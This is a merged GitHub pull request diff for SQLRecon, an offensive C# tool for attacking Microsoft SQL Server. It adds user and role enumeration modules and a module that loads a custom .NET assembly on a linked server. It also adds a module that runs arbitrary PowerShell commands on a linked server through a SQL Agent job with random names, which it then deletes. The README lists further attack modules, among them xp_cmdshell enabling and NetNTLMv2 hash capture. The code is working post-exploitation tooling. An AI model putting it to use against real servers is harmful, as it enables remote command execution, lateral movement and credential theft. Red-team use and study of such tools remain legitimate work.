Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 16 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ Standard modules are used to interact against a single MS SQL server.
* <b>info</b> - Print information about the SQL Service
* <b>query -o QUERY</b> - Execute an arbitrary SQL query
* <b>whoami</b> - See what user you are logged in as, mapped as and what roles exist
* <b>users</b> - See what user accounts and groups can authenticate against the database
* <b>databases</b> - Show all databases present on the SQL server
* <b>tables -o DATABASE</b> - Show all tables in the database you specify
* <b>search -o KEYWORD</b> - Search column names within tables of the database you are connected to
Expand All @@ -68,6 +69,7 @@ Standard modules are used to interact against a single MS SQL server.
Impersonation modules are used to interact against a single MS SQL server, under the context of an impersonated SQL user.
* <b>impersonate</b> - Enumerate any user accounts that can be impersonated
* <b>iwhoami -i IMPERSONATEUSER</b> - See what user you are logged in as, mapped as and what roles exist
* <b>iusers -i IMPERSONATEUSER</b> - See what user accounts and groups can authenticate against the database
* <b>iquery -i IMPERSONATEUSER -o QUERY</b> - Execute an arbitrary SQL query as an impersonated user
<br>↓ Command Execution (requires sysadmin role or similar)
* <b>ienablexp -i IMPERSONATEUSER</b> - Enable xp_cmdshell
Expand All @@ -87,6 +89,7 @@ Linked SQL Server modules are effective when you are able to interact with a lin
* <b>links</b> - Enumerate any linked SQL servers
* <b>lquery -l LINKEDSERVERNAME -o QUERY</b> - Execute an arbitrary SQL query on the linked SQL server
* <b>lwhoami -l LINKEDSERVERNAME</b> - See what user you are logged in as on the linked SQL server
* <b>lusers -l LINKEDSERVERNAME</b> - See what user accounts and groups can authenticate against the database on the linked SQL server
* <b>ldatabases -l LINKEDSERVERNAME</b> - Show all databases present on the linked SQL server
* <b>ltables -l LINKEDSERVERNAME -o DATABASE</b> - Show all tables in the supplied database on the linked SQL server
* <b>lsmb -l LINKEDSERVERNAME -o SHARE</b> - Capture NetNTLMv2 hash from linked SQL server
Expand All @@ -101,17 +104,28 @@ Linked SQL Server modules are effective when you are able to interact with a lin
* <b>lolecmd -l LINKEDSERVERNAME -o COMMAND</b> - Execute an arbitrary system command using OLE Automation Procedures on the linked SQL server
* <b>lenableclr -l LINKEDSERVERNAME</b> - Enable Custom CLR Assemblies on the linked SQL server
* <b>ldisableclr -l LINKEDSERVERNAME</b> - Disable Custom CLR Assemblies on the linked SQL server
* <b>lclr -o DLLPATH -f FUNCTION</b> - Load and execute a .NET assembly within a custom stored procedure on the linked SQL server
* <b>lagentstatus -l LINKEDSERVERNAME</b> - Check to see if SQL agent is running and obtain jobs on the linked SQL server
* <b>lagentcmd -l LINKEDSERVERNAME -o COMMAND</b> - Execute an arbitrary system command on the linked SQL server

## Examples
See the <a href="https://github.com/skahwah/SQLRecon/wiki">wiki</a>. for detailed examples.

## Roadmap
The below techniques are on the roadmap for future releases
* Look into creating lclr
* Look into creating lagentcmd
* Expand enumeration modules

## History
<details>
<summary>v2.2</summary>

* Expanded roles which are queried in the roles, iroles and lroles modules
* Created users, iusers and lusers modules
* Fixed hash not being dropped from sp_drop_trusted_assembly in clr and iclr modules
* Created lagentcmd module
* Created lclr module
</details>

<details>
<summary>v2.1.6</summary>

Expand Down
4 changes: 2 additions & 2 deletions SQLRecon/SQLRecon/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,5 +32,5 @@
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("2.1.6.0")]
[assembly: AssemblyFileVersion("2.1.6.0")]
[assembly: AssemblyVersion("2.2.0.0")]
[assembly: AssemblyFileVersion("2.2.0.0")]
156 changes: 147 additions & 9 deletions SQLRecon/SQLRecon/authentication/ArgumentLogic.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
using System.Collections.Generic;
using System.Data.SqlClient;
using System.DirectoryServices.ActiveDirectory;
using System.Linq;
using SQLRecon.Modules;

namespace SQLRecon.Auth
Expand Down Expand Up @@ -374,6 +375,20 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lusers"))
{
if (!argDict.ContainsKey("l"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lroles"))
{
if (!argDict.ContainsKey("l"))
Expand Down Expand Up @@ -472,6 +487,22 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lclr"))
{
if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o") || !argDict.ContainsKey("f"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l), path to DLL (-o) and function name (-f)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
option = argDict["o"];
function = argDict["f"];
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lagentstatus"))
{
if (!argDict.ContainsKey("l"))
Expand All @@ -486,6 +517,21 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lagentcmd"))
{
if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and command (-o)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
option = argDict["o"];
linkedSqlServer = argDict["l"];
}
}
else
{
module = argDict["m"].ToLower();
Expand Down Expand Up @@ -539,6 +585,20 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
impersonate = argDict["i"];
}
}
else if (argDict["m"].ToLower().Equals("iusers"))
{
if (!argDict.ContainsKey("i"))
{
Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
impersonate = argDict["i"];
}
}
else if (argDict["m"].ToLower().Equals("ienablexp"))
{
if (!argDict.ContainsKey("i"))
Expand Down Expand Up @@ -710,10 +770,32 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteQuery(con, "SELECT USER_NAME(); "));

Console.Out.WriteLine("\n[+] Roles: ");

var roles = new Roles();
roles.CheckServerRole(con, "public", true);
roles.CheckServerRole(con, "sysadmin", true);

// this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteCustomQuery(con, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckServerRole(con, item.Trim(), true);
}

}
// users
else if (module.Equals("users"))
{
Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;"));
}
// databases
else if (module.Equals("databases"))
Expand Down Expand Up @@ -812,7 +894,7 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
CLR clr = new CLR();
clr.Standard(con, option, function);
}
//agentstatus
// agentstatus
else if (module.Equals("agentstatus"))
{
AgentJobs aj = new AgentJobs();
Expand Down Expand Up @@ -867,10 +949,30 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "SELECT USER_NAME(); "));

Console.Out.WriteLine("\n[+] Roles: ");

var roles = new Roles();
roles.CheckLinkedServerRole(con, "public", linkedSqlServer, true);
roles.CheckLinkedServerRole(con, "sysadmin", linkedSqlServer, true);

// this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckLinkedServerRole(con, item.Trim(), linkedSqlServer, true);
}
}
// lusers
else if (module.Equals("lusers"))
{
Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in (''A'', ''R'', ''X'') and sid is not null order by username;"));
}
// lenablerpc
else if (module.Equals("lenablerpc"))
Expand Down Expand Up @@ -928,6 +1030,13 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Configure config = new Configure();
config.LinkedEnableDisable(con, "clr enabled", "0", linkedSqlServer);
}
// lclr
else if (module.Equals("lclr"))
{
Console.Out.WriteLine("\n[+] Performing CLR custom assembly attack on " + linkedSqlServer + " via " + sqlServer + ":");
CLR clr = new CLR();
clr.Linked(con, option, function, linkedSqlServer);
}
// lxpcmd
else if (module.Equals("lxpcmd"))
{
Expand All @@ -948,6 +1057,14 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
AgentJobs aj = new AgentJobs();
aj.LinkedAgentStatus(con, sqlServer, linkedSqlServer);
}
// lagentcmd
else if (module.Equals("lagentcmd"))
{
Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + linkedSqlServer + " via " + sqlServer);
AgentJobs aj = new AgentJobs();
aj.LinkedAgentCommand(con, linkedSqlServer, option);
}


// ###############################################
// ########## Impersonation SQL Modules ##########
Expand All @@ -961,8 +1078,29 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)

Console.Out.WriteLine("\n[+] Roles: ");
var roles = new Roles();
roles.CheckImpersonatedRole(con, "public", impersonate, true);
roles.CheckImpersonatedRole(con, "sysadmin", impersonate, true);

// this sql command extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckImpersonatedRole(con, item.Trim(), impersonate, true);
}
}
// iusers
else if (module.Equals("iusers"))
{
Console.Out.WriteLine("\n[+] Getting users in the " + database + " database on " + sqlServer + " as " + impersonate + ":" + sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;"));
}
// iquery
else if (module.Equals("iquery"))
Expand Down
57 changes: 57 additions & 0 deletions SQLRecon/SQLRecon/modules/AgentJobs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -257,5 +257,62 @@ public void ImpersonateAgentCommand(SqlConnection con, string sqlServer, String
Console.WriteLine("\n[!] ERROR: Unable to create new job");
}
}

public void LinkedAgentCommand(SqlConnection con, string linkedSqlServer, String cmd)
{
string sqlOutput = "";

// first check to see if agent is running
sqlOutput = LinkedCheckAgent(con, linkedSqlServer);

if (!sqlOutput.Contains("1"))
{
Console.WriteLine("\n[!] ERROR: The SQL Agent is not running on the linked server");
return;
}

RandomString rs = new RandomString();
string jobName = rs.Generate(8); // generate a new random output name
string stepName = rs.Generate(8); // generate a new random program name

Console.WriteLine("\n[+] Setting job_name to: " + jobName);
Console.WriteLine("\n[+] Setting step_name to: " + stepName);

sqlOutput = sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_add_job @job_name = ''" + jobName + "'';" +
"EXEC dbo.sp_add_jobstep @job_name = ''" + jobName + "'', " +
"@step_name = ''" + stepName + "'', " +
"@subsystem = ''PowerShell'', " +
"@command = ''" + cmd + "'', " +
"@retry_attempts = 1, " +
"@retry_interval = 5;" +
"EXEC dbo.sp_add_jobserver @job_name = ''" + jobName + "'';");

sqlOutput = LinkedJobs(con, linkedSqlServer);


if (sqlOutput.ToLower().Contains(jobName.ToLower()))
{
Console.WriteLine("\n[+] Executing Job and waiting for 5 seconds ...");
sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_start_job ''" + jobName + "''; " +
"WAITFOR DELAY ''00:00:05'';");

Console.WriteLine("\nSUCCESS: Deleting job");

sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_delete_job @job_name = ''" + jobName + "'';");
}
else if (sqlOutput.Contains("permission"))
{
Console.WriteLine("\n[!] ERROR: The current user does not have permissions to create new jobs");
}
else
{
Console.WriteLine("\n[!] ERROR: Unable to create new job");

}
}

}
}
Loading